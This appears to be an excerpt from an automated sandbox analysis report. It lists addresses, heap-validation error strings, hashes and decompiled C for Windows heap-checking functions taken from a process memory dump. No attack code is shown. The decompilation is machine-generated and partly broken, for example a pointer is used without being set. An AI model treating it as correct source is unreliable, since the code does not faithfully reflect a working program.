0x00ca508a
0x00ca5091
0x00ca5099
0x00ca5099
0x00ca509d
0x00ca50a7
0x00ca50ad
0x00ca50ad
0x00ca50ad
0x00000000
0x00ca509d
0x00ca4b58
0x00ca4b5b
0x00ca4b5e
0x00ca4b63
0x00ca4b66
0x00ca4b69
0x00ca4b6f
0x00ca4be4
0x00ca4bf0
0x00ca4bf2
0x00ca4bf5
0x00ca4dc3
0x00ca4dc6
0x00ca4dc9
0x00ca4dce
0x00ca4dce
0x00ca4dd0
0x00ca4dd0
0x00ca4dd5
0x00ca4def
0x00ca4dd7
0x00ca4de7
0x00ca4de7
0x00ca4df3
0x00ca5001
0x00ca5007
0x00ca500b
0x00ca502a
0x00ca502f
0x00ca500d
0x00ca5022
0x00ca5027
0x00ca5039
0x00ca503a
0x00ca503b
0x00000000
0x00ca4df9
0x00ca4dfd
0x00ca4e90
0x00ca4e94
0x00ca4e9e
0x00ca4ea4
0x00ca4ea4
0x00ca4ea4
0x00ca4ea6
0x00ca4ea6
0x00000000
0x00ca4ea6
0x00ca4e03
0x00ca4e08
0x00ca4f88
0x00ca4f92
0x00ca4f99
0x00ca4f9c
0x00ca4fe0
0x00ca4fe4
0x00ca4fee
0x00ca4ff4
0x00ca4ff4
0x00ca4ff4
0x00000000
0x00ca4fe4
0x00ca4f9e
0x00ca4fa4
0x00ca4fa8
0x00ca4fc7
0x00ca4fcc
0x00ca4faa
0x00ca4fbf
0x00ca4fc4
0x00ca4fd2
0x00ca4fd5
0x00ca4fd6
0x00ca4f34
0x00ca4f34
0x00000000
0x00ca4f39
0x00ca4e0e
0x00ca4e14
0x00ca4e1b
0x00ca4e25
0x00ca4e2b
0x00ca4e2b
0x00ca4e33
0x00ca4e38
0x00ca4e8a
0x00ca4e8a
0x00000000
0x00ca4e3a
0x00ca4e3e
0x00ca4e43
0x00ca4e47
0x00ca4e53
0x00ca4e58
0x00ca4e5a
0x00ca4e5c
0x00ca4e61
0x00ca4e61
0x00ca4e5a
0x00ca4e6e
0x00ca4f41
0x00ca4f47
0x00ca4f4b
0x00ca4f6a
0x00ca4f6f
0x00ca4f4d
0x00ca4f62
0x00ca4f67
0x00ca4f7f
0x00ca4f80
0x00ca4f81
0x00000000
0x00ca4e74
0x00ca4e78
0x00ca4e82
0x00ca4e88
0x00ca4e88
0x00000000
0x00ca4e78
0x00ca4e6e
0x00ca4e38
0x00ca4df3
0x00ca4bfe
0x00ca4c01
0x00ca4c04
0x00ca4c07
0x00ca4c09
0x00ca4c0c
0x00ca4c0e
0x00ca4c0e
0x00ca4c11
0x00ca4c11
0x00ca4c0c
0x00ca4c14
0x00ca4c17
0x00ca4dae
0x00ca4db2
0x00ca4db7
0x00ca4dba
0x00ca4dbd
0x00ca4ef1
0x00ca4ef7
0x00ca4efb
0x00ca4f1a
0x00ca4f1f
0x00ca4efd
0x00ca4f12
0x00ca4f17
0x00ca4f2b
0x00ca4f2b
0x00ca4f2d
0x00ca4f2e
0x00ca4f2f
0x00000000
0x00ca4f2f
0x00000000
0x00ca4c1d
0x00ca4c1d
0x00ca4c20
0x00ca4c23
0x00ca4c26
0x00ca4c29
0x00ca4c2c
0x00ca4c2e
0x00ca4d91
0x00ca4d91
0x00ca4d92
0x00ca4d97
0x00ca4d9e
0x00000000
0x00ca4d9e
0x00ca4c34
0x00ca4c37
0x00ca4c39
0x00ca4c3c
0x00000000
0x00000000
0x00ca4c45
0x00ca4c48
0x00ca4c4e
0x00ca4c50
0x00ca4c78
0x00ca4c78
0x00ca4c7b
0x00ca4c7d
0x00ca4c80
0x00ca4c84
0x00ca4cad
0x00ca4cad
0x00ca4cb0
0x00ca4cb8
0x00ca4cbb
0x00ca4cbe
0x00ca4cc1
0x00ca4cc7
0x00ca4cdc
0x00ca4cc9
0x00ca4cd2
0x00ca4cd4
0x00ca4cd4
0x00ca4cde
0x00ca4ce0
0x00ca4d13
0x00ca4d13
0x00ca4d16
0x00ca4d18
0x00ca4d29
0x00ca4d2a
0x00ca4d2c
0x00ca4d34
0x00ca4d1a
0x00ca4d1a
0x00ca4d1a
0x00ca4d1d
0x00ca4d1f
0x00ca4d22
0x00ca4d24
0x00ca4d24
0x00ca4d3c
0x00ca4d3f
0x00ca4d45
0x00ca4d47
0x00ca4d6c
0x00ca4d6c
0x00ca4d70
0x00ca4d7e
0x00ca4d84
0x00ca4d84
0x00000000
0x00ca4d49
0x00ca4d49
0x00ca4d56
0x00ca4d56
0x00ca4d59
0x00000000
0x00000000
0x00ca4d4e
0x00ca4d50
0x00ca4d52
0x00ca4d8e
0x00ca4d5d
0x00ca4d5f
0x00ca4d67
0x00000000
0x00ca4d67
0x00ca4d54
0x00ca4d54
0x00ca4d5b
0x00000000
0x00ca4d5b
0x00ca4ce2
0x00ca4ce2
0x00ca4ce5
0x00ca4ce5
0x00ca4ce7
0x00ca4cfb
0x00ca4ce9
0x00ca4ce9
0x00ca4cec
0x00ca4cef
0x00ca4cf1
0x00ca4cf3
0x00ca4cf3
0x00ca4cf3
0x00ca4cf6
0x00ca4cf6
0x00ca4d02
0x00ca4d05
0x00000000
0x00000000
0x00ca4d07
0x00ca4d0f
0x00ca4d11
0x00000000
0x00000000
0x00000000
0x00ca4d11
0x00000000
0x00ca4ce5
0x00ca4ce0
0x00ca4c8a
0x00ca4c8f
0x00ca4c91
0x00000000
0x00000000
0x00ca4c9d
0x00000000
0x00ca4c9d
0x00ca4c52
0x00ca4c5f
0x00ca4c5f
0x00ca4c62
0x00000000
0x00000000
0x00ca4c57
0x00ca4c59
0x00ca4c5b
0x00ca4caa
0x00ca4c66
0x00ca4c68
0x00ca4c70
0x00ca4c75
0x00000000
0x00ca4c75
0x00ca4c5d
0x00ca4c5d
0x00ca4c64
0x00000000
0x00ca4c64
0x00ca4c17
0x00ca4b75
0x00ca4bc4
0x00ca4bc8
0x00000000
0x00000000
0x00ca4bd9
0x00000000
0x00000000
0x00000000
0x00ca4b77
0x00ca4b7a
0x00ca4b8c
0x00ca4b7c
0x00ca4b7e
0x00ca4b83
0x00ca4b86
0x00ca4b86
0x00ca4b90
0x00ca4b93
0x00000000
0x00000000
0x00ca4b95
0x00ca4bab
0x00ca4bb0
0x00000000
0x00000000
0x00ca4bb2
0x00ca4bb9
0x00000000
0x00000000
0x00ca4bbb
0x00ca4bbe
0x00ca4bc1
0x00ca4bc1
0x00000000
0x00ca4bc1
0x00ca4b97
0x00ca4ba4
0x00000000
0x00000000
0x00ca4ba6
0x00000000
0x00ca4ba6
0x00ca4ea9
0x00ca4ea9
0x00ca4eb2
0x00000000

Strings

Heap entry %p has incorrect PreviousSize field (%04x instead of %04x), xrefs: 00CA508C
Heap block at %p is not last block in segment (%p), xrefs: 00CA4FD6
HEAP[%wZ]: , xrefs: 00CA4EE1, 00CA4F0D, 00CA4F5D, 00CA4FBA, 00CA501D, 00CA5061, 00CA50FA
Heap block at %p has corrupted PreviousSize (%lx), xrefs: 00CA4F81
HEAP: , xrefs: 00CA4F1A, 00CA4F6A, 00CA4FC7, 00CA502A, 00CA506E, 00CA50B6, 00CA5107
Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x), xrefs: 00CA50C6
Free Heap block %p modified at %p after it was freed, xrefs: 00CA4F2F
Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x), xrefs: 00CA5119
Heap block at %p has incorrect segment offset (%x), xrefs: 00CA503B

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
API String ID: 0-3591852110
Opcode ID: f640688a27767a2bb0453d09f750a96e6e1c61e145e53a42fe86c88f186a5020
Instruction ID: 8e8a0eafe4153c7d588a552e7ae594acee277e903e27272592f53c52cc0c2fdc
Opcode Fuzzy Hash: f640688a27767a2bb0453d09f750a96e6e1c61e145e53a42fe86c88f186a5020
Instruction Fuzzy Hash: 7212CF306006429FC729CF69C495BBAB7F1FF8A318F14845DE49A8B681D7B4ED81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00CA4496, Relevance: 10.4, Strings: 8, Instructions: 417
COMMONCrypto

Download Yara Rule

C-Code - Quality: 56%

			E00CA4496(signed int* __ecx, void* __edx) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed char _v24;
				signed int* _v28;
				char _v32;
				signed int* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t150;
				intOrPtr _t151;
				signed char _t156;
				intOrPtr _t157;
				unsigned int _t169;
				intOrPtr _t170;
				signed int* _t183;
				signed char _t184;
				intOrPtr _t191;
				signed int _t201;
				intOrPtr _t203;
				intOrPtr _t212;
				intOrPtr _t220;
				signed int _t230;
				signed int _t241;
				signed int _t244;
				void* _t259;
				signed int _t260;
				signed int* _t261;
				intOrPtr* _t262;
				signed int _t263;
				signed int* _t264;
				signed int _t267;
				signed int* _t268;
				void* _t270;
				void* _t281;
				signed short _t285;
				signed short _t289;
				signed int _t291;
				signed int _t298;
				signed char _t303;
				signed char _t308;
				signed int _t314;
				intOrPtr _t317;
				unsigned int _t319;
				signed int* _t325;
				signed int _t326;
				signed int _t327;
				intOrPtr _t328;
				signed int _t329;
				signed int _t330;
				signed int* _t331;
				signed int _t332;
				signed int _t350;

				_t259 = __edx;
				_t331 = __ecx;
				_v28 = __ecx;
				_v20 = 0;
				_v12 = 0;
				_t150 = E00CA49A4(__ecx);
				_t267 = 1;
				if(_t150 == 0) {
					L61:
					_t151 =  *[fs:0x30];
					__eflags =  *((char*)(_t151 + 2));
					if( *((char*)(_t151 + 2)) != 0) {
						 *0xcd6378 = _t267;
						asm("int3");
						 *0xcd6378 = 0;
					}
					__eflags = _v12;
					if(_v12 != 0) {
						_t105 =  &_v16;
						 *_t105 = _v16 & 0x00000000;
						__eflags =  *_t105;
						E00C1174B( &_v12,  &_v16, 0x8000);
					}
					L65:
					__eflags = 0;
					return 0;
				}
				if(_t259 != 0 || (__ecx[0x10] & 0x20000000) != 0) {
					_t268 =  &(_t331[0x30]);
					_v32 = 0;
					_t260 =  *_t268;
					_t308 = 0;
					_v24 = 0;
					while(_t268 != _t260) {
						_t260 =  *_t260;
						_v16 =  *_t325 & 0x0000ffff;
						_t156 = _t325[0];
						_v28 = _t325;
						_v5 = _t156;
						__eflags = _t156 & 0x00000001;
						if((_t156 & 0x00000001) != 0) {
							_t157 =  *[fs:0x30];
							__eflags =  *(_t157 + 0xc);
							if( *(_t157 + 0xc) == 0) {
								_push("HEAP: ");
								E00BEB150();
							} else {
								E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_t325);
							E00BEB150("dedicated (%04Ix) free list element %p is marked busy\n", _v16);
							L32:
							_t270 = 0;
							__eflags = _t331[0x13];
							if(_t331[0x13] != 0) {
								_t325[0] = _t325[0] ^ _t325[0] ^  *_t325;
								 *_t325 =  *_t325 ^ _t331[0x14];
							}
							L60:
							_t267 = _t270 + 1;
							__eflags = _t267;
							goto L61;
						}
						_t169 =  *_t325 & 0x0000ffff;
						__eflags = _t169 - _t308;
						if(_t169 < _t308) {
							_t170 =  *[fs:0x30];
							__eflags =  *(_t170 + 0xc);
							if( *(_t170 + 0xc) == 0) {
								_push("HEAP: ");
								E00BEB150();
							} else {
								E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							E00BEB150("Non-Dedicated free list element %p is out of order\n", _t325);
							goto L32;
						} else {
							__eflags = _t331[0x13];
							_t308 = _t169;
							_v24 = _t308;
							if(_t331[0x13] != 0) {
								_t325[0] = _t169 >> 0x00000008 ^ _v5 ^ _t308;
								 *_t325 =  *_t325 ^ _t331[0x14];
								__eflags =  *_t325;
							}
							_t26 =  &_v32;
							 *_t26 = _v32 + 1;
							__eflags =  *_t26;
							continue;
						}
					}
					_v16 = 0x208 + (_t331[0x21] & 0x0000ffff) * 4;
					if( *0xcd6350 != 0 && _t331[0x2f] != 0) {
						_push(4);
						_push(0x1000);
						_push( &_v16);
						_push(0);
						_push( &_v12);
						_push(0xffffffff);
						if(E00C29660() >= 0) {
							_v20 = _v12 + 0x204;
						}
					}
					_t183 =  &(_t331[0x27]);
					_t281 = 0x81;
					_t326 =  *_t183;
					if(_t183 == _t326) {
						L49:
						_t261 =  &(_t331[0x29]);
						_t184 = 0;
						_t327 =  *_t261;
						_t282 = 0;
						_v24 = 0;
						_v36 = 0;
						__eflags = _t327 - _t261;
						if(_t327 == _t261) {
							L53:
							_t328 = _v32;
							_v28 = _t331;
							__eflags = _t328 - _t184;
							if(_t328 == _t184) {
								__eflags = _t331[0x1d] - _t282;
								if(_t331[0x1d] == _t282) {
									__eflags = _v12;
									if(_v12 == 0) {
										L82:
										_t267 = 1;
										__eflags = 1;
										goto L83;
									}
									_t329 = _t331[0x2f];
									__eflags = _t329;
									if(_t329 == 0) {
										L77:
										_t330 = _t331[0x22];
										__eflags = _t330;
										if(_t330 == 0) {
											L81:
											_t129 =  &_v16;
											 *_t129 = _v16 & 0x00000000;
											__eflags =  *_t129;
											E00C1174B( &_v12,  &_v16, 0x8000);
											goto L82;
										}
										_t314 = _t331[0x21] & 0x0000ffff;
										_t285 = 1;
										__eflags = 1 - _t314;
										if(1 >= _t314) {
											goto L81;
										} else {
											goto L79;
										}
										while(1) {
											L79:
											_t330 = _t330 + 0x40;
											_t332 = _t285 & 0x0000ffff;
											_t262 = _v20 + _t332 * 4;
											__eflags =  *_t262 -  *((intOrPtr*)(_t330 + 8));
											if( *_t262 !=  *((intOrPtr*)(_t330 + 8))) {
												break;
											}
											_t285 = _t285 + 1;
											__eflags = _t285 - _t314;
											if(_t285 < _t314) {
												continue;
											}
											goto L81;
										}
										_t191 =  *[fs:0x30];
										__eflags =  *(_t191 + 0xc);
										if( *(_t191 + 0xc) == 0) {
											_push("HEAP: ");
											E00BEB150();
										} else {
											E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push(_t262);
										_push( *((intOrPtr*)(_v20 + _t332 * 4)));
										_t148 = _t330 + 0x10; // 0x10
										_push( *((intOrPtr*)(_t330 + 8)));
										E00BEB150("Tag %04x (%ws) size incorrect (%Ix != %Ix) %p\n", _t332);
										L59:
										_t270 = 0;
										__eflags = 0;
										goto L60;
									}
									_t289 = 1;
									__eflags = 1;
									while(1) {
										_t201 = _v12;
										_t329 = _t329 + 0xc;
										_t263 = _t289 & 0x0000ffff;
										__eflags =  *((intOrPtr*)(_t201 + _t263 * 4)) -  *((intOrPtr*)(_t329 + 8));
										if( *((intOrPtr*)(_t201 + _t263 * 4)) !=  *((intOrPtr*)(_t329 + 8))) {
											break;
										}
										_t289 = _t289 + 1;
										__eflags = _t289 - 0x81;
										if(_t289 < 0x81) {
											continue;
										}
										goto L77;
									}
									_t203 =  *[fs:0x30];
									__eflags =  *(_t203 + 0xc);
									if( *(_t203 + 0xc) == 0) {
										_push("HEAP: ");
										E00BEB150();
									} else {
										E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									}
									_t291 = _v12;
									_push(_t291 + _t263 * 4);
									_push( *((intOrPtr*)(_t291 + _t263 * 4)));
									_push( *((intOrPtr*)(_t329 + 8)));
									E00BEB150("Pseudo Tag %04x size incorrect (%Ix != %Ix) %p\n", _t263);
									goto L59;
								}
								_t212 =  *[fs:0x30];
								__eflags =  *(_t212 + 0xc);
								if( *(_t212 + 0xc) == 0) {
									_push("HEAP: ");
									E00BEB150();
								} else {
									E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(_t331[0x1d]);
								_push(_v36);
								_push("Total size of free blocks in arena (%Id) does not match number total in heap header (%Id)\n");
								L58:
								E00BEB150();
								goto L59;
							}
							_t220 =  *[fs:0x30];
							__eflags =  *(_t220 + 0xc);
							if( *(_t220 + 0xc) == 0) {
								_push("HEAP: ");
								E00BEB150();
							} else {
								E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_t328);
							_push(_v24);
							_push("Number of free blocks in arena (%ld) does not match number in the free lists (%ld)\n");
							goto L58;
						} else {
							goto L50;
						}
						while(1) {
							L50:
							_t92 = _t327 - 0x10; // -24
							_t282 = _t331;
							_t230 = E00CA4AEF(_t331, _t92, _t331,  &_v24,  &_v36,  &_v28, _v20, _v12);
							__eflags = _t230;
							if(_t230 == 0) {
								goto L59;
							}
							_t327 =  *_t327;
							__eflags = _t327 - _t261;
							if(_t327 != _t261) {
								continue;
							}
							_t184 = _v24;
							_t282 = _v36;
							goto L53;
						}
						goto L59;
					} else {
						while(1) {
							_t39 = _t326 + 0x18; // 0x10
							_t264 = _t39;
							if(_t331[0x13] != 0) {
								_t319 = _t331[0x14] ^  *_t264;
								 *_t264 = _t319;
								_t303 = _t319 >> 0x00000010 ^ _t319 >> 0x00000008 ^ _t319;
								_t348 = _t319 >> 0x18 - _t303;
								if(_t319 >> 0x18 != _t303) {
									_push(_t303);
									E00C9FA2B(_t264, _t331, _t264, _t326, _t331, _t348);
								}
								_t281 = 0x81;
							}
							_t317 = _v20;
							if(_t317 != 0) {
								_t241 =  *(_t326 + 0xa) & 0x0000ffff;
								_t350 = _t241;
								if(_t350 != 0) {
									if(_t350 >= 0) {
										__eflags = _t241 & 0x00000800;
										if(__eflags == 0) {
											__eflags = _t241 - _t331[0x21];
											if(__eflags < 0) {
												_t298 = _t241;
												_t65 = _t317 + _t298 * 4;
												 *_t65 =  *(_t317 + _t298 * 4) + ( *(_t326 + 0x10) >> 3);
												__eflags =  *_t65;
											}
										}
									} else {
										_t244 = _t241 & 0x00007fff;
										if(_t244 < _t281) {
											 *((intOrPtr*)(_v12 + _t244 * 4)) =  *((intOrPtr*)(_v12 + _t244 * 4)) + ( *(_t326 + 0x10) >> 3);
										}
									}
								}
							}
							if(( *(_t326 + 0x1a) & 0x00000004) != 0 && E00C923E3(_t331, _t264) == 0) {
								break;
							}
							if(_t331[0x13] != 0) {
								_t264[0] = _t264[0] ^ _t264[0] ^  *_t264;
								 *_t264 =  *_t264 ^ _t331[0x14];
							}
							_t326 =  *_t326;
							if( &(_t331[0x27]) == _t326) {
								goto L49;
							} else {
								_t281 = 0x81;
								continue;
							}
						}
						__eflags = _t331[0x13];
						if(_t331[0x13] != 0) {
							 *(_t326 + 0x1b) =  *(_t326 + 0x1a) ^  *(_t326 + 0x19) ^  *(_t326 + 0x18);
							 *(_t326 + 0x18) =  *(_t326 + 0x18) ^ _t331[0x14];
						}
						goto L65;
					}
				} else {
					L83:
					return _t267;
				}
			}

0x00ca44a1
0x00ca44a3
0x00ca44a7
0x00ca44ac
0x00ca44af
0x00ca44b2
0x00ca44b9
0x00ca44bc
0x00ca47f2
0x00ca47f2
0x00ca47f8
0x00ca47fc
0x00ca47fe
0x00ca4804
0x00ca4805
0x00ca4805
0x00ca480c
0x00ca4810
0x00ca4812
0x00ca4812
0x00ca4812
0x00ca4822
0x00ca4822
0x00ca4827
0x00ca4827
0x00000000
0x00ca4827
0x00ca44c4
0x00ca44d3
0x00ca44d9
0x00ca44dc
0x00ca44de
0x00ca44e0
0x00ca4560
0x00ca4520
0x00ca4522
0x00ca4525
0x00ca4528
0x00ca452b
0x00ca452e
0x00ca4530
0x00ca4697
0x00ca469d
0x00ca46a1
0x00ca46c0
0x00ca46c5
0x00ca46a3
0x00ca46b8
0x00ca46bd
0x00ca46cb
0x00ca46d4
0x00ca4677
0x00ca4677
0x00ca4679
0x00ca467c
0x00ca468a
0x00ca4690
0x00ca4690
0x00ca47f1
0x00ca47f1
0x00ca47f1
0x00000000
0x00ca47f1
0x00ca4536
0x00ca4539
0x00ca453c
0x00ca4636
0x00ca463c
0x00ca4640
0x00ca465f
0x00ca4664
0x00ca4642
0x00ca4657
0x00ca465c
0x00ca4670
0x00000000
0x00ca4542
0x00ca4542
0x00ca4546
0x00ca4548
0x00ca454b
0x00ca4555
0x00ca455b
0x00ca455b
0x00ca455b
0x00ca455d
0x00ca455d
0x00ca455d
0x00000000
0x00ca455d
0x00ca453c
0x00ca4579
0x00ca457c
0x00ca4587
0x00ca4589
0x00ca4591
0x00ca4592
0x00ca4597
0x00ca4598
0x00ca45a1
0x00ca45ab
0x00ca45ab
0x00ca45a1
0x00ca45ae
0x00ca45b4
0x00ca45b9
0x00ca45bd
0x00ca4759
0x00ca4759
0x00ca475f
0x00ca4761
0x00ca4763
0x00ca4765
0x00ca4768
0x00ca476b
0x00ca476d
0x00ca479c
0x00ca479c
0x00ca479f
0x00ca47a2
0x00ca47a4
0x00ca4830
0x00ca4833
0x00ca4879
0x00ca487d
0x00ca48f1
0x00ca48f3
0x00ca48f3
0x00000000
0x00ca48f3
0x00ca487f
0x00ca4885
0x00ca4887
0x00ca48a8
0x00ca48a8
0x00ca48ae
0x00ca48b0
0x00ca48dc
0x00ca48dc
0x00ca48dc
0x00ca48dc
0x00ca48ec
0x00000000
0x00ca48ec
0x00ca48b2
0x00ca48bc
0x00ca48be
0x00ca48c1
0x00000000
0x00000000
0x00000000
0x00000000
0x00ca48c3
0x00ca48c3
0x00ca48c6
0x00ca48c9
0x00ca48cc
0x00ca48d1
0x00ca48d4
0x00000000
0x00000000
0x00ca48d6
0x00ca48d7
0x00ca48da
0x00000000
0x00000000
0x00000000
0x00ca48da
0x00ca494f
0x00ca4955
0x00ca4959
0x00ca4978
0x00ca497d
0x00ca495b
0x00ca4970
0x00ca4975
0x00ca4986
0x00ca4987
0x00ca498a
0x00ca498d
0x00ca4997
0x00ca47ef
0x00ca47ef
0x00ca47ef
0x00000000
0x00ca47ef
0x00ca4890
0x00ca4890
0x00ca4891
0x00ca4891
0x00ca4894
0x00ca4897
0x00ca489d
0x00ca48a0
0x00000000
0x00000000
0x00ca48a2
0x00ca48a3
0x00ca48a6
0x00000000
0x00000000
0x00000000
0x00ca48a6
0x00ca48fb
0x00ca4901
0x00ca4905
0x00ca4924
0x00ca4929
0x00ca4907
0x00ca491c
0x00ca4921
0x00ca492f
0x00ca4935
0x00ca4936
0x00ca4939
0x00ca4942
0x00000000
0x00ca4947
0x00ca4835
0x00ca483b
0x00ca483f
0x00ca485e
0x00ca4863
0x00ca4841
0x00ca4856
0x00ca485b
0x00ca4869
0x00ca486c
0x00ca486f
0x00ca47e7
0x00ca47e7
0x00000000
0x00ca47ec
0x00ca47aa
0x00ca47b0
0x00ca47b4
0x00ca47d3
0x00ca47d8
0x00ca47b6
0x00ca47cb
0x00ca47d0
0x00ca47de
0x00ca47df
0x00ca47e2
0x00000000
0x00000000
0x00000000
0x00000000
0x00ca476f
0x00ca476f
0x00ca4778
0x00ca4785
0x00ca4787
0x00ca478c
0x00ca478e
0x00000000
0x00000000
0x00ca4790
0x00ca4792
0x00ca4794
0x00000000
0x00000000
0x00ca4796
0x00ca4799
0x00000000
0x00ca4799
0x00000000
0x00ca45c3
0x00ca45c3
0x00ca45c7
0x00ca45c7
0x00ca45ca
0x00ca45cf
0x00ca45d3
0x00ca45df
0x00ca45e4
0x00ca45e6
0x00ca45e8
0x00ca45ed
0x00ca45ed
0x00ca45f2
0x00ca45f2
0x00ca45f7
0x00ca45fc
0x00ca4602
0x00ca4606
0x00ca4609
0x00ca460f
0x00ca46de
0x00ca46e3
0x00ca46e5
0x00ca46ec
0x00ca46ee
0x00ca46f6
0x00ca46f6
0x00ca46f6
0x00ca46f6
0x00ca46ec
0x00ca4615
0x00ca4615
0x00ca461d
0x00ca462e
0x00ca462e
0x00ca461d
0x00ca460f
0x00ca4609
0x00ca46fd
0x00000000
0x00000000
0x00ca4710
0x00ca471a
0x00ca4720
0x00ca4720
0x00ca4722
0x00ca472c
0x00000000
0x00ca472e
0x00ca472e
0x00000000
0x00ca472e
0x00ca472c
0x00ca4738
0x00ca473c
0x00ca474b
0x00ca4751
0x00ca4751
0x00000000
0x00ca473c
0x00ca48f4
0x00ca48f4
0x00000000
0x00ca48f4

Strings

Total size of free blocks in arena (%Id) does not match number total in heap header (%Id), xrefs: 00CA486F
Pseudo Tag %04x size incorrect (%Ix != %Ix) %p, xrefs: 00CA493D
Number of free blocks in arena (%ld) does not match number in the free lists (%ld), xrefs: 00CA47E2
HEAP[%wZ]: , xrefs: 00CA4652, 00CA46B3, 00CA47C6, 00CA4851, 00CA4917, 00CA496B
Non-Dedicated free list element %p is out of order, xrefs: 00CA466B
Tag %04x (%ws) size incorrect (%Ix != %Ix) %p, xrefs: 00CA4992
HEAP: , xrefs: 00CA465F, 00CA46C0, 00CA47D3, 00CA485E, 00CA4924, 00CA4978
dedicated (%04Ix) free list element %p is marked busy, xrefs: 00CA46CF

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Non-Dedicated free list element %p is out of order$Number of free blocks in arena (%ld) does not match number in the free lists (%ld)$Pseudo Tag %04x size incorrect (%Ix != %Ix) %p$Tag %04x (%ws) size incorrect (%Ix != %Ix) %p$Total size of free blocks in arena (%Id) does not match number total in heap header (%Id)$dedicated (%04Ix) free list element %p is marked busy
API String ID: 0-1357697941
Opcode ID: 84964916920b22d59bec9ec850cbde7a426670cf919a88830f07a8df148993c2
Instruction ID: f73587e65d1077c5282979ccbb01e58bf6bf1bfa90c1ab8e2629a2725cba79f4
Opcode Fuzzy Hash: 84964916920b22d59bec9ec850cbde7a426670cf919a88830f07a8df148993c2
Instruction Fuzzy Hash: 91F13331610687DFCB28CF69C444FAAB7F5FF86308F148069E056D7291D7B4AA85CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00C0A309, Relevance: 8.2, Strings: 6, Instructions: 687
COMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E00C0A309(signed int __ecx, signed int __edx, signed int _a4, char _a8) {
				char _v8;
				signed short _v12;
				signed short _v16;
				signed int _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				signed int _v56;
				void* _v60;
				intOrPtr _v64;
				void* _v72;
				void* __ebx;
				void* __edi;
				void* __ebp;
				unsigned int _t246;
				signed char _t247;
				signed short _t249;
				unsigned int _t256;
				signed int _t262;
				signed int _t265;
				signed int _t266;
				signed int _t267;
				intOrPtr _t270;
				signed int _t280;
				signed int _t286;
				signed int _t289;
				intOrPtr _t290;
				signed int _t291;
				signed int _t317;
				signed short _t320;
				intOrPtr _t327;
				signed int _t339;
				signed int _t344;
				signed int _t347;
				intOrPtr _t348;
				signed int _t350;
				signed int _t352;
				signed int _t353;
				signed int _t356;
				intOrPtr _t357;
				intOrPtr _t366;
				signed int _t367;
				signed int _t370;
				intOrPtr _t371;
				signed int _t372;
				signed int _t394;
				signed short _t402;
				intOrPtr _t404;
				intOrPtr _t415;
				signed int _t430;
				signed int _t433;
				signed int _t437;
				signed int _t445;
				signed short _t446;
				signed short _t449;
				signed short _t452;
				signed int _t455;
				signed int _t460;
				signed short* _t468;
				signed int _t480;
				signed int _t481;
				signed int _t483;
				intOrPtr _t484;
				signed int _t491;
				unsigned int _t506;
				unsigned int _t508;
				signed int _t513;
				signed int _t514;
				signed int _t521;
				signed short* _t533;
				signed int _t541;
				signed int _t543;
				signed int _t546;
				unsigned int _t551;
				signed int _t553;

				_t450 = __ecx;
				_t553 = __ecx;
				_t539 = __edx;
				_v28 = 0;
				_v40 = 0;
				if(( *(__ecx + 0xcc) ^  *0xcd8a68) != 0) {
					_push(_a4);
					_t513 = __edx;
					L11:
					_t246 = E00C0A830(_t450, _t513);
					L7:
					return _t246;
				}
				if(_a8 != 0) {
					__eflags =  *(__edx + 2) & 0x00000008;
					if(( *(__edx + 2) & 0x00000008) != 0) {
						 *((intOrPtr*)(__ecx + 0x230)) =  *((intOrPtr*)(__ecx + 0x230)) - 1;
						_t430 = E00C0DF24(__edx,  &_v12,  &_v16);
						__eflags = _t430;
						if(_t430 != 0) {
							_t157 = _t553 + 0x234;
							 *_t157 =  *(_t553 + 0x234) - _v16;
							__eflags =  *_t157;
						}
					}
					_t445 = _a4;
					_t514 = _t539;
					_v48 = _t539;
					L14:
					_t247 =  *((intOrPtr*)(_t539 + 6));
					__eflags = _t247;
					if(_t247 == 0) {
						_t541 = _t553;
					} else {
						_t541 = (_t539 & 0xffff0000) - ((_t247 & 0x000000ff) << 0x10) + 0x10000;
						__eflags = _t541;
					}
					_t249 = 7 + _t445 * 8 + _t514;
					_v12 = _t249;
					__eflags =  *_t249 - 3;
					if( *_t249 == 3) {
						_v16 = _t514 + _t445 * 8 + 8;
						E00BE9373(_t553, _t514 + _t445 * 8 + 8);
						_t452 = _v16;
						_v28 =  *(_t452 + 0x10);
						 *((intOrPtr*)(_t541 + 0x30)) =  *((intOrPtr*)(_t541 + 0x30)) - 1;
						_v36 =  *(_t452 + 0x14);
